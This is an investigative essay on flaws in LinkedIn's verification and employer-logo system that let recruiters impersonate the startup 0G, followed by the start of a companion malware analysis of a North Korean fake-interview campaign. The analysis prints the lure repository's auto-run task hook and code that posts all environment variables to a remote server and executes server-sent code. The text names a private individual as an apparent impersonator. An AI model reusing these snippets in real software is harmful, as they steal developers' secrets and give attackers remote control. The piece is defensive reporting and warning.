It can mean “this is a real, documented person,” or “this person actually works where they say.” A scammer in Bogotá impersonating the AI startup 0G has the first kind. The startup’s own founder cannot get the second kind for himself, because on LinkedIn, proving you work somewhere runs through software his company does not use. So the trust mark is easier for the impersonator to earn than for the company being impersonated to secure for its own staff. On top of that, LinkedIn attaches a company’s logo to anyone who types its name, links it to the real company page, counts them in the employee total, and will not let the company remove them without a sworn legal filing or a court order.

The story here is how a verification system came to shield the wrong people, and why the obvious fix runs into an antitrust problem. Somebody pays for all of it, and it is neither the platform nor the scammer.

This piece and its companion publish together today. The companion, North Korea Is Hiring, follows the attack itself: a North Korean malware operation that used exactly this gap to target my business partner. Read the pair as system and specimen. Every social platform with a broken trust signal invites abuses like these; LinkedIn most of all, because the claim being faked there, employment, is the very thing the platform exists to certify.

Two people on LinkedIn carry the same small grey shield beside their name. One of them co-founded the company. The other, according to that company, has never worked there in her life.

Michael Heinrich built 0G Labs, an AI and blockchain infrastructure startup. Click the verification badge on his profile and it resolves to two things: a work email at Garten, the company he founded before this one, and an educational email at Stanford, where he took his master’s and still teaches. His current company, the one he runs and is publicly defending against impersonators, does not appear in his verifications at all.

Click the identical badge on the profile of a woman in Bogotá who lists herself as an HR Business Partner at 0G since October 2024, and it resolves to a Colombian government ID, checked in July 2024. It says nothing about 0G either. A 0G executive, asked about her directly, was unambiguous: the company does not know her, and never has.

The two shields match down to the shade of grey and the spot where they sit beside the name. To see that one badge attests to a former employer and a university, and the other to a passport, and that neither says a word about 0G, you have to stop and click each one. Nobody clicks. That is the point. On the platform where a billion people go to establish who they work for, the man who built the company and the woman it says it has never heard of wear the identical mark of trust, and it certifies, in both cases, something other than the thing a reader assumes.

Everything that follows is an explanation of those two badges. Hold onto them.

Two kinds of checkmark

The confusion starts with the badge itself, because a single icon stands for two entirely different claims, and the whole story flows from the gap between them.

LinkedIn offers a member two verifications that both produce the grey shield. The first is identity verification: a member submits a government ID and a selfie to one of LinkedIn’s partners, and the badge confirms that a real, documented human is behind the account. Anyone with a passport can get it, alone, in about ten minutes. The second is workplace verification: it confirms that the member actually works at the employer listed on their profile. That one is harder, because it requires the employer’s cooperation, and most of what follows explains why.

The two look the same. In a message or in search results, the shield sits beside the name and says nothing about which kind it is. You have to open the profile and click it to find out. If you wear the shield yourself, click it and see which of the two claims you have been making. Some readers will find a former employer in there, still vouching for a job that ended.

The two people from the top land on opposite sides of that split. The woman in Bogotá has an identity verification. Her badge is real and it is doing the job LinkedIn built it to do: it confirms she is a documented person. It says nothing about 0G. Heinrich has workplace and education verifications, but they point at Garten and at Stanford, the places he can prove he belonged to. Neither points at 0G. A reader glancing at either shield would never guess it, but neither badge certifies the one fact a jobseeker cares about, which is whether the person works at 0G. One of these people cannot honestly claim it. The other built the company and cannot conveniently prove it. Both wear the same mark.

That the badge buys real advantage is not in dispute. LinkedIn’s own marketing says verified members see 60% more profile views and 50% more engagement, and its Trust Product VP has put a number on the record: more than 90 million members carry verified information, and the attention follows them. The shield purchases reach and trust; clarity about what was checked is not part of the bargain.

A real person is exactly what the scam needs

The impersonator’s badge first, because the way it misleads is the cruelest part.

Her verification confirms she is a real, documented human. That sounds like a safeguard. It is the opposite, and to see why you have to know how the fraud works. Identity verification does not defeat identity fraud. In the case the companion investigation documents, it completed it.

The dominant North Korean employment-fraud model does not forge identities. It rents real ones, or steals them outright. When the security-awareness firm KnowBe4 ran a background check on a North Korean operative it had unknowingly hired, the check came back clean, because the stolen identity underneath was a real American’s. A verification that confirms a real human exists is no defense against an adversary whose entire method is to wear a real human’s documents. It is a piece of the disguise. The badge does not fail. It works perfectly, and it certifies the wrong thing.

The founder’s badge, verified for the wrong company

The other badge misleads in a quieter way, and the founder illustrates it without doing anything wrong.

Workplace verifications do not switch off when the job ends. LinkedIn’s own troubleshooting pages say so plainly, in nearly identical language across all three of its workplace-verification methods: if you change jobs and your new company has not enabled workplace verification, your previous workplace verification stays visible on your profile. The same sentence appears for Microsoft Entra, the corporate identity software many companies use to manage employee logins, and for the LinkedIn Learning route.

Heinrich is the clean demonstration. His badge points at Garten, which he left, and at Stanford, which he attended, both verified back in October 2023. He has done nothing improper. He simply carries forward the marks he was entitled to at the time, because LinkedIn’s design keeps them lit long after they have stopped describing his present. A reader glancing at the shield reads “verified,” full stop, and moves on. Nothing tells them the attestation is a two-year-old artifact of a job that ended.

Put the two badges side by side and the failure is complete.

The impersonator’s mark is real but undated, and points nowhere useful. The founder’s is no less real, only stale, and it points at the wrong company. Neither is a lie. Both are true statements, rendered as a general-purpose signal of present trustworthiness, sitting next to whatever the person happened to type into their current-employer field. Which brings us to what a person can type there, and what LinkedIn does with it.

We tried to build the defense first

A quick word on how I came to be staring at these two profiles, because the failed attempt is itself part of the finding.

The idea was modest. A tool that would let a company find every person on LinkedIn claiming to work there, check those claims against its own payroll, and flag the strangers. Nothing touching private messages or data behind a login wall. Just a reconciliation between what people assert in public and what an employer knows to be true.

It cannot be built. The reasons arrive further down; the more useful discovery came before any of the legal or technical walls. LinkedIn does not merely fail to verify the claim that someone works at your company. It actively dresses that claim in your company’s clothing, and that became the real story.

Subscribe now

The logo problem

Here is what LinkedIn does with an unverified employment claim, and nothing in the story fails quite so nakedly.

Anyone can add any company to their experience section. Type the name, pick the company from the dropdown, and the platform supplies the rest. The company’s logo appears on the profile. It hyperlinks through to the official company page, the one real employees maintain, with its genuine followers and posts. The claimant is folded into the employee count that page shows every visitor.

None of this requires verification. The logo is not a credential the company issues; it is a graphic LinkedIn attaches to an unverified assertion, and it lands on a reader with all the force of a credential. The whole fake-recruiter economy runs on that gap. The impersonator forges nothing. The platform does the forging, in good faith, as a rendering convenience. The woman in Bogotá did not have to counterfeit 0G’s logo; she selected 0G from a menu, and LinkedIn drew it for her and linked it to 0G’s own page.

And the impersonated company cannot see any of it in a systematic way. There is no admin dashboard listing everyone who claims affiliation. No queue to review, no alert when a stranger in another country suddenly lists your firm as their employer.

The company that has been shouting into the void

If you doubt that this is a live wound rather than a theoretical one, look at what the impersonated company has been reduced to doing about it.

0G is not a passive victim discovering this for the first time. It has been fighting it in public for months, with the only tools the platform leaves it, which is to say tools that do not work.

In March 2026 the 0G Foundation’s verified account posted a formal scam warning: someone was impersonating the company, running fake interviews and steering candidates to fraudulent booking links, and had begun approaching investors to close deals in 0G’s name. The notice tells applicants that every legitimate interview invite comes from an 0g.ai address; that real headhunters working for 0G will never ask a candidate to download files or clone a code repository, and that anyone unsure should verify through a named 0G mailbox first.

The graphic attached reads: If It’s Not From @0g.ai, It’s Not From Us. Heinrich himself posted a near-identical warning a couple of months later.

The line that matters is the one where he spells out the limits of his own power: anyone on LinkedIn can list 0g as their employer, we do not control this, and only LinkedIn can remove fraudulent profiles. The co-founder of the impersonated company, verified, telling his own audience that the only party who can act is the platform, and that the platform has not.

Read what these notices actually are.

On the professional network whose entire proposition is verified professional identity, a company’s remedy against impersonation is to leave the platform and publish, somewhere else, a plea that people check an email domain instead. That is how an organization behaves when it has run out of options inside the system meant to provide them. The scam recurs anyway, because a public warning removes no profiles, and the profiles are where the deception lives.

There was, in this case, even a fake product to complete the illusion. The North Korean operation the companion piece traces built its lure around a Web3 poker game it called “0G RollPlay,” a name chosen to borrow 0G’s brand. It is not a 0G product. The real company’s code repositories contain no such thing and it ships no such game. The attackers took a generic open-source project, painted 0G’s name on it, and used it as the pretext to get an engineer to clone and run a poisoned repository. Even the product was invented, and the platform still rendered the affiliation.

Can an organization fight back?

So the company knows about a specific fake profile. What can it do to get that one profile taken down? Almost nothing, and the process is stranger than that summary suggests.

LinkedIn’s help center is direct about the limits. It is not possible for a page administrator to remove someone who claims to work there, because the member supplied the data. The company must instead file a report of inaccurate employment, and LinkedIn’s own page notes that any assertion made in that form is made under penalty of perjury.

A stranger can assert an employment relationship with your company, and LinkedIn will render it in your branding with no evidence required. To contest the assertion, the company that actually holds the payroll must swear a legal oath.

It gets worse in practice. By the account of impersonated companies who have described the process publicly, there is a counter-notice step: a formal objection from the reported profile that, under LinkedIn’s process, stops the removal cold. LinkedIn contacts the profile owner. If the owner disputes the takedown, LinkedIn declines to act and tells the company it can revisit the matter with formal judicial process. Reported timelines run to a fortnight at minimum, and success is not guaranteed. A company can find itself needing a court order to remove a fabricated employee from its own page.

The structure is borrowed from copyright takedowns, where notice-and-counter-notice makes sense because two parties may hold genuinely competing claims to a piece of creative work. Employment is not like that. There is exactly one authoritative source for whether a person is on a payroll, and it is not the person. Apply a symmetric dispute process to a question with only one right answer, and the outcome writes itself: the party holding the evidence carries the burden, and the party with the incentive to lie enjoys the presumption.

The loophole that swallows the remedy

Even that grim process turns out to be a footnote, because most impersonators never trigger it in the first place.

The 0G executive spelled it out. Most of the impersonators, he said, do not claim to work at 0G at all. They claim to work at a recruiting agency, recruiting for 0G. And that, he said, makes it impossible to get them removed.

Follow the logic. The inaccurate-employment process exists to correct a false claim of employment at your company. A person who claims to work at Acme Recruiting, sourcing candidates for 0G, has made no false claim about employment at 0G. They have made a claim about Acme. 0G has no standing to report it, because the tool addresses a claim that was never made. The brand is being used, the jobseeker is being deceived, and there is no mechanism at all.

The woman in Bogotá ran both patterns at once, a doubling that makes her the clean illustration. Her profile lists 0G as a current employer, the removable kind of claim, the kind 0G could at least file a perjury declaration against. But when she actually approached my business partner, she presented herself as an ecosystem partner to a different company entirely, and 0G was never mentioned. That second form, the agency claim, is the one no company can touch. One operator, running the removable con and the unremovable con in parallel, on the same verified account.

And underneath both sits a deeper fact: trademark law, not platform policy, is the only thing that even describes the wrong when someone borrows your brand while claiming to work somewhere else. That matters because of a specific gap in the American law that shields platforms. Section 230 makes a platform immune for what its users post, but the statute carves the immunity back at 47 U.S.C. § 230(e)(2), which provides that nothing in the section limits “any law pertaining to intellectual property,” and a federally registered trademark is intellectual property. The carve-out is the statute’s own text, not a litigant’s theory. So LinkedIn is immune for the sentence the user typed. Whether it is immune for the registered trademark it chose to render beside that sentence is the open question Congress deliberately left unanswered. It is open twice over, in fact. Courts have also divided on when a platform’s automatic display of a mark its user selected counts as the platform’s own use of the mark in commerce rather than the user’s, and a claim against LinkedIn would have to win that question too. The argument is live, not settled.

The one time the question was put to LinkedIn directly, LinkedIn declined to answer it. In 2020 the poultry company Wayne Farms sued LinkedIn in federal court in Illinois after an impostor used its logo and a real sales manager’s identity to solicit fraudulent orders, inducing buyers in the United States and Italy to wire deposits. The fake profile had been reported, briefly taken down, then relisted and left running despite further reports, the same report-and-relist cycle a company faces today. Wayne Farms brought claims under the Lanham Act, the federal trademark statute, for infringement, counterfeiting, and dilution, all of which sit inside the § 230(e)(2) carve-out. LinkedIn did not litigate a Section 230 defense to judgment. It settled, on confidential terms, and was dismissed. A settlement sets no precedent and proves no liability, and I am not claiming it does. It shows something narrower and still useful: faced with a trademark claim that the statute’s own text places outside its immunity, the platform paid to exit rather than move to dismiss on the immunity it invokes everywhere else.

The trademark route, for all that, reaches only half the injury. It describes the company’s harm, a brand rendered beside a stranger’s claim. The jobseeker’s harm, a logo and a badge that read as checks the platform never ran, belongs to a different and older body of law: consumer protection, the Federal Trade Commission’s ban on deceptive practices and its state-law cousins, which ask one question only, whether a design misleads a reasonable person. That route needs no trademark registration and no European regulator. The rest of this story dwells on the competition frame because it is the frame that explains why the fix has not shipped; a regulator hunting the fastest path to the person being deceived would reach for the duller statute.

The case against a delete button

Before demanding the obvious fix, sit with the strongest reason LinkedIn has for not shipping it, because the reason is genuinely good and the argument fails without it.

Give company administrators unilateral power to remove anyone who claims to work there, and you have handed every employer a tool to erase employment history. Consider who gets removed first. The whistleblower whose tenure the company would rather deny. An employee in the middle of a discrimination claim. Any contractor whose status the company disputes for reasons of its own. The person fired in circumstances the employer would prefer undocumented. An employment record is one of the few assets a worker carries between jobs, and a platform that lets employers delete it on demand has built an instrument of retaliation.

The messy cases are real too: subsidiaries and parent companies, acquisitions whose pages linger for years after the deal, agency staff and loaned employees and contractors whose tie to the brand is genuine but appears on no payroll. A blunt delete button breaks all of them. None of that makes the counter-notice process stupid. It exists for reasons that deserve respect, and a writer demanding its abolition would be arguing for something worse than what exists.

But watch what that justification actually covers. Caution about removal, yes. Attribution, not a word. The reason a company cannot be trusted to delete a claim has no bearing on whether LinkedIn should attach that company’s logo to the claim, hyperlink it to the company’s own page, and count the claimant among its staff before anyone has checked a thing. Those are two separable decisions, and the second is not protected by any argument that defends the first. You can decline to erase a person’s stated history while also declining to lend them a corporation’s visual identity.

Why can’t the founder get verified, either?

This returns us to the two badges, and to the question everything else has been circling. If workplace verification is the answer, why does the founder of the impersonated company not have it?

Start with LinkedIn’s own definition. A workplace verification means a member confirmed their association with a company through one of four routes: a work email, Microsoft Entra Verified ID, a LinkedIn Learning license provided by their company, or an active LinkedIn Recruiter license provided by their company.

Read that menu again.

Entra is Microsoft’s identity product. LinkedIn Learning and LinkedIn Recruiter are paid LinkedIn subscriptions, the latter running to five figures a seat. Three of the four routes to being a verified employee run through a Microsoft or LinkedIn commercial relationship. The fourth, work email, is the only vendor-neutral option, and LinkedIn’s help page describes it as currently eligible to a limited set of companies. It is a pilot, and admission is at LinkedIn’s discretion.

LinkedIn will point, fairly, to a change it made in September 2025: it now requires workplace verification when a member adds or updates a recruiter or executive title, precisely to fight recruiter impersonation. Take the improvement seriously, then look at where it bites. It triggers only when someone edits their title to something like “Recruiter.” It does nothing about the logo, the hyperlink, or the headcount rendering on an ordinary profile, and nothing about the agency-claim loophole either, since a person recruiting for 0G from an outside agency is not listing a 0G role. And it still runs through the same four-route menu, so the requirement can only be met by someone who already has a qualifying commercial relationship to meet it with.

The profile at the center of this story shows how little the mandate reaches. Her 0G entry is not titled “Recruiter” or any executive role. It reads “HR Business Partner,” part-time, October 2024 to present, nearly two years, carrying 0G’s logo linked through to 0G’s own company page. That title trips no requirement. The check built to stop recruiter impersonation never fires, because the impersonation did not use the word the check looks for.

The obvious accusation, that Microsoft charges companies for the privilege, is false, and better shot down at once. Entra Verified ID’s core issuance and verification is free with any Entra subscription, and the free tier of Entra ships with any Microsoft cloud subscription. Nobody pays a per-badge toll.

The cost is not money. It is ecosystem membership. A company that runs Okta for identity and Google Workspace for email has no Entra account, and therefore no route to Entra-based verification. Its remaining options are to buy a LinkedIn Learning or Recruiter subscription, or to wait at the door of the pilot. Whether an organization’s staff can prove where they work, on the platform where that claim matters most, comes down substantially to whose software the company happens to buy. Small wonder 0G appears on none of its own people’s badges, Heinrich’s included.

Which produces the sentence the two badges were pointing at all along. LinkedIn’s verification is easier for the impersonator to obtain than for the company being impersonated. An individual with a passport gets an identity check in ten minutes, alone, for free. A company cannot get workplace verifications for its own people without a qualifying commercial relationship. The trust signal is more available to the person doing the lying than to the party being lied about. None of that accuses anyone of bad faith. It describes a menu, drawn from LinkedIn’s own help pages, and the menu explains everything upstream.

Open standard, closed gate

An obvious objection comes straight from Microsoft’s own marketing, and it needs answering head-on.

Microsoft describes Verified ID as built on open standards, noting it works with existing HR systems and a range of identity systems, including ones companies run on their own servers. That is true, and it does more rhetorical work than it appears to. Verified ID does rest on the W3C verifiable-credentials standard, an open, non-proprietary format, and it genuinely can ingest from whatever identity infrastructure a customer already runs. But that describes what Microsoft’s product accepts as input, not what LinkedIn will honor from outside issuers.

And nothing LinkedIn has published points that way. Every route it documents runs through Entra, a LinkedIn subscription, or the limited email pilot. There is no path by which Okta, or Ping, or a university, or a government issuing credentials to its own civil servants, can vouch for a person’s employment in a form LinkedIn will display.

The credential format is an open standard. The list of issuers LinkedIn honors is not. One honest difficulty remains, and it is not a pretext: an open issuer list cannot be an unguarded one. Honor any conformant credential from anyone, and an attacker stands up a conformant issuer of his own and mints fake workplace attestations by the thousand, leaving the badge worse than useless. Opening the gate means building the layer that decides which issuers to trust, an accreditation registry of the kind that already governs website security certificates and academic credentials. Real work, and a fair reason for care. Not one for paralysis; adjudicating trust among independent issuers is the very problem the standard was designed to carry.

The trap

The safety failure and the competition problem meet at this point, and turn out to have been one problem wearing two coats.

The obvious safety fix, the one anyone proposes after five minutes with this problem, is to make verification consequential. Show a jobseeker at first contact whether a sender’s employment claim is verified or merely typed, and withhold the borrowed wardrobe, logo and hyperlink and headcount, from unverified claims. Then ask whether an unverified account presenting itself as a recruiter should really have unrestricted reach into a billion inboxes. LinkedIn has done a narrow version of that last one and none of the rest. Part of the reason is ordinary commerce: friction on messaging reduces messaging, and messaging is the product. If that were the whole story, this would be a short essay about incentives. The longer story is that even a LinkedIn that wanted to go further would find the most direct road legally hazardous, and the hazard is one of its own construction.

Here the relevant fact is regulatory, and the Act names it rather than leaving it to atmosphere. Under the European Union’s Digital Markets Act, LinkedIn is a designated “gatekeeper,” the term the EU uses for the handful of dominant platforms that face special rules meant to keep markets open, and Microsoft is the gatekeeper on the hook for it. One of the Act’s black-list prohibitions, Article 5(7), forbids a gatekeeper from requiring users to use its own identification service in the course of using its platform. Entra Verified ID is an identification service.

Suppose LinkedIn gated all recruiter messaging on workplace verification, not just the title label. It would be conditioning full use of the world’s professional network on membership of Microsoft’s identity ecosystem, or on the purchase of a LinkedIn subscription. Every firm on a rival identity stack would find its recruiters quietly degraded against firms on Entra. Whether Article 5(7) would ultimately bite is for the Commission, not for me, to decide, and the provision’s scope, framed around services that business users offer through the platform, has not been tested against a case shaped like this one. But the fix a safety engineer would reach for first is one a designated gatekeeper cannot ship without walking straight at a named prohibition, not a vague regulatory mood. Microsoft’s competition lawyers will have mapped that long before its product managers did.

Therein lies the trap. LinkedIn cannot safely make verification fully consequential while verification remains proprietary. From where I stand that leaves one solution: open the gate to accredited outside issuers, and the safety lever comes unstuck. Until then, the impersonators keep their reach.

It wouldn’t be the first time the same leverage has drawn a regulator’s eye. When the European Commission cleared Microsoft’s acquisition of LinkedIn in December 2016, it did so subject to conditions, worried about this very species of leverage: that Microsoft would use its strength in one product to entrench LinkedIn against rivals. The remedies obliged it to let PC makers decline to preinstall LinkedIn, to preserve competitors’ ability to plug into Office, and to grant them access to a Microsoft developer gateway. Those conditions ran five years and lapsed at the end of 2021. The Commission was watching leverage flow one way, from Windows and Office into LinkedIn. The current runs the other way, through a channel that did not exist in 2016: LinkedIn’s trust layer now flows back into Microsoft’s identity product.

Only the Commission can say whether that amounts to self-preferencing, a gatekeeper favoring its own service, in the DMA’s sense. I note that the arrangement sits squarely inside the category of conduct the DMA exists to scrutinize.

The statute cuts both ways, and pretending otherwise would be convenient rather than honest. The same law that makes the lever dangerous to pull while the gate stays closed is also the likeliest instrument for forcing the gate open. The DMA’s whole design pushes gatekeepers toward interoperability and away from favoring their own services. A regulation with teeth enough to stop LinkedIn from requiring Entra can also, in principle, require LinkedIn to honor a credential Entra did not issue. The trap has a key, and the key sits in Brussels. Someone still has to turn it, and that is politics, not law. That it exists at all reclassifies the problem, from structural inevitability to unforced choice. Until someone makes it, the two badges from the top stay as they are: hers minted in ten minutes and attesting to nothing that matters, his pointing faithfully at a job he left.

Why the data cannot simply be opened either

One last fix will occur to readers, and it deserves a burial with honors rather than a wave of the hand.

Let LinkedIn expose a feed of everyone who claims to work at a given company, the argument goes, and let employers reconcile it against payroll. But that feed has a second reader. A defender would run it as an impersonation detector. To an attacker it is a spear-phisher’s census: the whole org chart, machine-readable, down to which junior employee books the executive’s travel and what name to drop with the helpdesk. It is the reconnaissance artifact the fraud depends on, and there is no technical way to hand it only to the good actors, because the adversaries here are intelligence services patient enough to found front companies and rich enough to buy legitimate access.

LinkedIn’s refusal to open the data is defensible, then, and probably correct. In fairness, it also protects a revenue line, since Recruiter is the only place this search legitimately exists. Both are true, and the first would hold even without the second.

The unofficial back door is closed too. In January 2025 LinkedIn and Microsoft sued Proxycurl, a service that resold scraped profile data, alleging it ran hundreds of thousands of fake accounts to harvest member information. Proxycurl shut down rather than fight, and the settlement required it to delete the data, with the order reaching downstream to its customers. Those fake-account farms were real. It is hard to build a principled objection to shutting them down.

Front door and back door, closed for equally good reasons. That leaves the design of the front room, and the ownership of the only key that could lock it.

What to do in the meantime

None of the structural fixes are yours to make, so here is what helps while the structure stays as it is.

For companies, the practical measures are duller than a product, and they work. Obtain workplace verification if any route exists for you, a thing to check rather than assume. Manage your verified email domains through page administration, the one real lever LinkedIn hands you, since withdrawing a domain also withdraws the verifications resting on it. Publish an unambiguous statement of your official recruiting channels, naming the domains your recruiters write from and the applicant-tracking system you use, as 0G has done, so a candidate has something concrete to check against. And audit your page’s claimed employees by hand, unsatisfying as that is.

For jobseekers, the advice is uncomfortable but honest. The badge does not tell you what you think it tells you. The logo is not an endorsement. Neither is proof that the person messaging you works where they say. Verify out of band: find the company’s careers page yourself instead of following the link you were sent. And be deeply skeptical of any interview that asks you to run unfamiliar code on your own machine, which is where the companion investigation picks up, and the exact moment all of this stops being about trust signals and becomes a compromised laptop.

The room, not the door

There is a version of this story about villainy, and it is not the interesting one. LinkedIn’s data is closed on grounds that hold up. The lawsuits went after genuine fake-account farms, and the caution about handing employers a delete key shields workers who need the shield.

The room those reasonable decisions have furnished holds up less well. A company’s logo is attached to claims it never made and cannot withdraw. A verification badge earned at one employer follows a person to the next, generic and undated, buying measurable extra trust. An identity check that confirms a real human becomes, in the hands of someone wearing a rented identity, the final polish on the disguise. The employee count on a company’s own page includes strangers it cannot remove. The one requirement built to stop recruiter impersonation checks the job title, so an impersonator simply writes a different job title. The burden of correcting any of it falls on the party holding the evidence, under oath, on a fortnight’s timeline, against an objection that can halt the process outright. And most impersonators skip the entire apparatus by claiming to recruit for the company rather than to work at it, which the apparatus does not cover.

The mechanism that would fix most of this has been built, and built in a form that cannot be deployed. The verification works; the cryptography is sound. The distribution is what broke: three routes out of four sit behind a commercial relationship with the platform’s owner, which is why the badge can never be made to matter without foreclosing everyone outside that relationship. The lock was built; then the key was made proprietary; now the door cannot be locked at all, and a founder posts to his own followers that the only party who can help him is the one that hasn’t.

Most of this, not all of it. Open verification defeats the direct impersonation, the stranger wearing a company’s logo as a claimed employer, and it finally lets a company light up its real staff. It does not reach the agency claim, the dominant pattern, because a recruiter who borrows the brand without claiming the payroll makes no employment assertion for any issuer to check. That con will need different tools, disclosure requirements for third-party recruiting or friction on outreach from accounts with no verified employer. The most common attack survives the elegant fix, diminished but not dead.

None of this requires opening a single new data feed. It requires a platform to accept a credential it did not issue.

The companion investigation, North Korea Is Hiring, is the case study to this essay’s map: one attack walked end to end, from a verified recruiter’s first LinkedIn message to live command servers on sanctioned infrastructure. The operators broke nothing to get there. They moved into the room this essay describes and let its trust signals do the work.

A note on sources: The description of how LinkedIn’s verification, workplace-affiliation, and takedown systems work is drawn from LinkedIn’s own published help documentation, its product marketing, and Microsoft’s published pricing and product pages. Anne Plazas Parras’ profile details are taken from her public LinkedIn profile and its “About this member” panel, captured 12 July 2026.

The account of the impersonation targeting 0G comes from a 0G executive who spoke to me directly, from 0G’s own public warnings, and from the companion investigation published alongside this piece. Where a claim rests on the account of an impersonated company rather than on LinkedIn’s own documentation, I have said so in the text. I did not seek comment from LinkedIn; nothing here depends on it, because the design choices described are ones LinkedIn has documented itself.

In short: a North Korean intelligence operation tried to take over my business partner's laptop with a fake job offer. The technique, "Contagious Interview," turns a recruiter's coding "test" into malware that runs the instant you open the project folder. Most of the campaign is already well-documented by the researchers I credit at the end.

What is first-hand and new here are additional live command servers found by hunting the operators' hosting and repositories. Public reporting then ties parts of that infrastructure to an EU-sanctioned Russian bulletproof network.

Researchers: Scroll to get a full technical teardown and indicators of compromise.

The Google Meet that was supposed to end with a backdoor

My business partner nearly took a great job. A recruiter found him on LinkedIn earlier this month, mentioned his work at the Solana Foundation by name, and pitched a role at Ritual, a real company building AI infrastructure on the blockchain. The pay was good. The recruiter, who called herself Anne, was friendly and in no hurry. There was a Google Doc of open roles listing Ritual’s actual investors, a Calendly link, and a video call, run not by Anne but by a man who cut his own camera the moment it began.

Near the end came the request the whole thing was built around: could he clone the team’s code repository so they could go through the code together?

Wary of the whole “clone our repo and run it” ask, and the sort who keeps a locked-down setup and treats unsolicited code as hostile, he did the entire thing inside a throwaway macOS VM, and he ran a code-analysis pass over the repository before he trusted it. It came back with this contains malicious code. That instinct, to sandbox a stranger’s project and vet it before running it, is the reason this is an essay about a North Korean operation and not an incident report with his employer’s name on it.

The technique has a name. The security industry calls it Contagious Interview, and the idea is blunt: the job offer is the malware. It has hit thousands of engineers, and it works by targeting the one thing a careful person doesn’t think to guard: the pleasure of the suggestion, from someone who has clearly done their homework, that your work is good.

The offer

The con is the way in; the malware is delivered once the target is already going along with it. This works on basic manners and typical recruiter behavior, not sophistication.

The personalization was thin. She had read his LinkedIn and could name his real work, but the pitch materials underneath, the job doc and the repo, were mass-produced rather than built for him. Anne described herself as a partner to Ritual rather than an employee, which conveniently explained away anything that didn’t quite fit.

None of it is new. Fake recruiters and take-home “coding tests” are this group’s standard opening. ESET calls it DeceptiveDevelopment, Palo Alto’s Unit 42 has tracked it for years, Microsoft dates it to at least December 2022, and MITRE files it as G1052.

Everything was a near-copy of something real. The domain, ritualhub.net, was a step off the company’s actual ritual.net. The job description was lifted almost word for word from Ritual’s own pages, same text and same investors, then padded with a product that doesn’t exist: a Web3 casino called MetaPlay, invented only to give my partner a reason to clone a repo and run it.

How the trap works

The clever part is the timing. The repository is a working poker game with something extra wired in underneath. Running it springs the trap, of course, but so does merely opening the folder, before you’ve run anything.

Most developers use an editor like VS Code, or Cursor, and this project included a hidden instruction telling the editor to run a setup command the instant the folder opens, with no click, no prompt, and no confirmation. Opening the folder to look at the code does the same thing as running it would.

From there it does two things, both silent. It collects the passwords, keys, and tokens sitting on a developer’s machine and sends them out. And it opens a channel back to the attackers, who can then send any code they want and have it run, which is how the final tool arrives: software that records your keystrokes and screen and drains your crypto wallets.

The whole time, the app looks like it simply failed to start.

Behind the poker game is a government.

North Korea, the most sanctioned country on earth and one of the poorest, has spent a decade turning its hackers into a revenue operation, and this campaign is one of the steady earners. Security firms can’t agree on a name; the same activity gets called Contagious Interview, DeceptiveDevelopment, and Famous Chollima.

Whatever you call it, it has been run like a business since at least 2022.

It takes two forms, both aimed at the same well-paid, mobile professionals. The first is the one here: a recruiter who is actually a lure. The second is stranger. North Koreans apply for remote jobs at Western companies using stolen identities, get hired, collect salaries, and increasingly steal their employers’ code to hold for ransom, sometimes using AI to swap their faces on video calls, according to the FBI.

The numbers are hard to believe. Socket, which watches open-source software for tampering, is tracking more than 1,700 poisoned packages across five different registries. One October report found 338 of them with over 50,000 downloads, and a later batch used the same trick that was sitting in my partner’s repo.

Real people run it, at least in part. The recruiter who messaged my partner is real: her identity is verified on LinkedIn, she has ordinary social media accounts, and her phone number is Colombian. The developers whose names are on the malicious code are in the same region, Colombia and Argentina, and some of those same names appear in a nearly identical attack that a security executive documented after the group came for him.

Some of those identities may be stolen. But given how tightly they cluster around a recruiter who is clearly real, the likelier explanation is that at least some of these people know, at least in part, what they are doing, the “identity rental“ arrangement North Korea is known for. A name on a malicious commit isn’t proof; I treat the developer identities as indicators rather than accusations. The “recruiter”, however, is an entirely different matter.

The money removes any doubt about the stakes. A woman in Arizona was recently sentenced for running a “laptop farm” out of her home that let North Korean workers pose as employees at more than 300 U.S. companies, bringing in about $17 million; one federal sweep last year raided 29 such farms in 16 states. Treasury estimates the fake-worker scheme alone made close to $800 million in 2024, on top of theft like the $1.5 billion the FBI attributes to North Korea in the Bybit hack.

There is a Russian layer, too.

Some of the campaign’s command servers sit on an EU-sanctioned Russian bulletproof network — the rebranded remains of a host called Stark Industries, whose Moldovan operators the EU sanctioned in 2025 for supporting Russia’s hybrid warfare (Recorded Future). Researchers have separately caught a Russian and a North Korean hacking group operating from the same server (Gen).

Two of the most heavily sanctioned governments on earth are quietly using the same infrastructure. That bugged code that was supposed to be a poker game actually helps pay for a belligerent nation’s weapons program.

How not to be the next one

The defense isn’t technical. It is a habit of mind: treat a stranger’s code as something to be wary of, and don’t do a flattering recruiter the small favor of clicking their link. A company that wants to hire you doesn’t need to watch its private code run on your laptop or to install any meeting software; any “assessment” that requires this is part of the attack. Check the recruiter against the company’s real website, not the message you received or LinkedIn. A domain that is one letter off, or a job description sent from a personal Gmail or ProtonMail account is a red flag. And if you do need to open something you don’t trust, use a throwaway machine or VM with nothing on it — no wallets, keys, important passwords, or access to anything you’d miss.

Engineers can get more specific. Treat cloning and opening a repo, and every npm install, as running someone else’s code. Socket puts it plainly: “treat every npm install as code execution.” That means turning off your editor’s automatic tasks, reading a project’s install hooks before trusting it, and using --ignore-scripts when unsure.

The company version of the problem, the fake employee, is about process. The FBI recommends withholding system access until a background check clears and shipping a new hire’s laptop only to the address on their ID, since that is the step where the laptop-farm scheme becomes visible. KnowBe4, which nearly hired one of these workers, published a candid account that is the best training I have seen on it.

Technical Breakdown and IOCs

Start with the names: One North-Korea-aligned cluster answers to Contagious Interview / G1052 (MITRE), CL-STA-0240 (Unit 42), UNC5342 (Google/Mandiant), DeceptiveDevelopment (ESET), and Famous Chollima (CrowdStrike). Its malware carries just as many labels: BeaverTail, a JavaScript infostealer and downloader first documented by Unit 42 in 2023; InvisibleFerret, a Python backdoor; and OtterCookie, a JavaScript backdoor named by NTT Security Japan in late 2024, whose newer builds absorb BeaverTail’s tricks (Socket, NTT).

What was in the box

You never have to type npm start. You barely have to do anything. The repo ships a .vscode/tasks.json with "runOn": "folderOpen", so opening the folder in VS Code or Cursor auto-runs npm install on its own. The trigger has been caught in the wild before (OpenSourceMalware). For good measure, files.exclude hides the .vscode directory from the editor’s own file tree, so the trap never shows up while you browse.

npm install, in turn, fires the prepare lifecycle script in package.json, which starts the server in the background, and the payload lives there in two moves:

// controllers/auth.js — move 1: exfiltrate the entire environment
axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } });

// socket/index.js — move 2: remote code execution
const executor = new Function("require", response.data);
